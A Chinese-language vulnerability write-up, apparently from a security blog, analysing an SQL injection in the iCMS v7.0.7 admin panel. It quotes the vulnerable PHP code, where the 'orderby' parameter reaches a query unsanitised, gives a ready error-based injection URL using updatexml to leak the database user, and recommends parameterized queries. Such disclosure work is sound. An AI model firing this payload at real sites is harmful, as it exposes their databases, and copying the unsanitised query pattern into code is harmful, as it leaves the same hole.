0x00 环境准备
iCMS官网:https://www.icmsdev.com
网站源码版本:iCMS-v7.0.7
程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest
默认后台地址:http://127.0.0.1/admincp.php
默认账号密码:用户名密码自设
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/app/apps/apps.admincp.php 第266-282行:
- public function do_manage(){
- // if($_GET['keywords']) {
- // $sql=" WHERE `keyword` REGEXP '{$_GET['keywords']}'";
- // }
- $orderby =$_GET['orderby']?$_GET['orderby']:"id DESC";
- $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:50;
- $total = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__apps` {$sql}","G");
- iUI::pagenav($total,$maxperpage,"个应用");
- $rs = iDB::all("SELECT * FROM `#iCMS@__apps` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
- 10. $_count = count($rs);
- 11.
- 12. //分组
- 13. foreach ($rs as $key => $value) {
- 14. $apps_type_group[$value['type']][$key] = $value;
- 15. }
- 16. include admincp::view("apps.manage");
17. }
这段函数中将获取到的参数orderby参数,未经任何处理,直接带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
根据漏洞位置,构造出参数 Payload:
http://127.0.0.1/admincp.php?app=apps&do=manage&from=modal&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))—
0x03 修复建议
使用参数化查询可有效避免SQL注入
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。